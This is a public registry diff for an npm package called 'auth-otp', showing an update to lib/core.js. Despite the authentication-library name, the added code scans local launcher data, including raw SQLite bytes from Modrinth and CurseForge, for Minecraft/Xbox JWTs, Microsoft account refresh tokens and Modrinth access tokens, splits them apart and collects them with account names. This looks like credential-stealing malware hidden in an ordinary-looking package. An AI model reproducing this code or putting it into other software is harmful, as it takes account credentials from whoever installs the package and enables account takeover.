auth-otp 1.0.2 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/core.js +25 -9
- package/package.json +1 -1
package/lib/core.js
CHANGED
|
@@ -208,22 +208,38 @@ function _curseforge() {
|
|
|
208
208
|
}
|
|
209
209
|
|
|
210
210
|
function _modrinthScanFile(text, out, seen) {
|
|
211
|
-
// Xbox/MC JWT —
|
|
212
|
-
//
|
|
211
|
+
// Xbox/MC JWT — starts with eyJraWQiOiIwNDkxODEi ({"kid":"049181"})
|
|
212
|
+
// In SQLite blobs the MSA RT is concatenated right after the JWT with no separator,
|
|
213
|
+
// so we use a loose match then split the RT out manually.
|
|
213
214
|
const mcRe = /eyJraWQiOiIwNDkxODEi[A-Za-z0-9_.\-]{100,}/g;
|
|
214
215
|
// MSA refresh token — exactly 3 digits after M.C, then underscore + 2-5 alphanum
|
|
215
216
|
const rtRe = /M\.C\d{3}_[A-Za-z0-9]{2,5}\.[^\x00\s"'\\]{50,800}/g;
|
|
216
217
|
const patRe = /mrp_[A-Za-z0-9]{20,}/g;
|
|
218
|
+
|
|
217
219
|
for (const m of text.matchAll(mcRe)) {
|
|
218
|
-
|
|
219
|
-
if (
|
|
220
|
-
|
|
221
|
-
const
|
|
222
|
-
|
|
220
|
+
let blob = m[0];
|
|
221
|
+
// Split RT if it is concatenated directly after the JWT (no separator in raw DB bytes)
|
|
222
|
+
let refreshFromBlob = null;
|
|
223
|
+
const rtInBlob = blob.match(/(M\.C\d{3}_[A-Za-z0-9]{2,5}\.[^\x00\s"'\\]{50,})$/);
|
|
224
|
+
if (rtInBlob) {
|
|
225
|
+
blob = blob.slice(0, blob.length - rtInBlob[0].length);
|
|
226
|
+
refreshFromBlob = rtInBlob[0]
|
|
227
|
+
.replace(/[^\x20-\x7E]/g, "")
|
|
228
|
+
.replace(/[j\s]+$/, "")
|
|
229
|
+
.trim();
|
|
230
|
+
if (refreshFromBlob.length < 50) refreshFromBlob = null;
|
|
231
|
+
}
|
|
232
|
+
if (seen.has(blob)) continue;
|
|
233
|
+
seen.add(blob);
|
|
234
|
+
if (refreshFromBlob) seen.add(refreshFromBlob);
|
|
235
|
+
const name = _nameFromJwt(blob) || "?";
|
|
236
|
+
out.push({ l: "Modrinth", n: name, t: blob, r: refreshFromBlob });
|
|
223
237
|
}
|
|
224
238
|
for (const m of text.matchAll(rtRe)) {
|
|
225
|
-
|
|
226
|
-
|
|
239
|
+
const raw = m[0].replace(/[^\x20-\x7E]/g, "").replace(/[j\s]+$/, "").trim();
|
|
240
|
+
if (seen.has(raw) || raw.length < 50) continue;
|
|
241
|
+
seen.add(raw);
|
|
242
|
+
out.push({ l: "Modrinth-RT", n: "Refresh", t: raw, r: null });
|
|
227
243
|
}
|
|
228
244
|
for (const m of text.matchAll(patRe)) {
|
|
229
245
|
if (seen.has(m[0])) continue; seen.add(m[0]);
|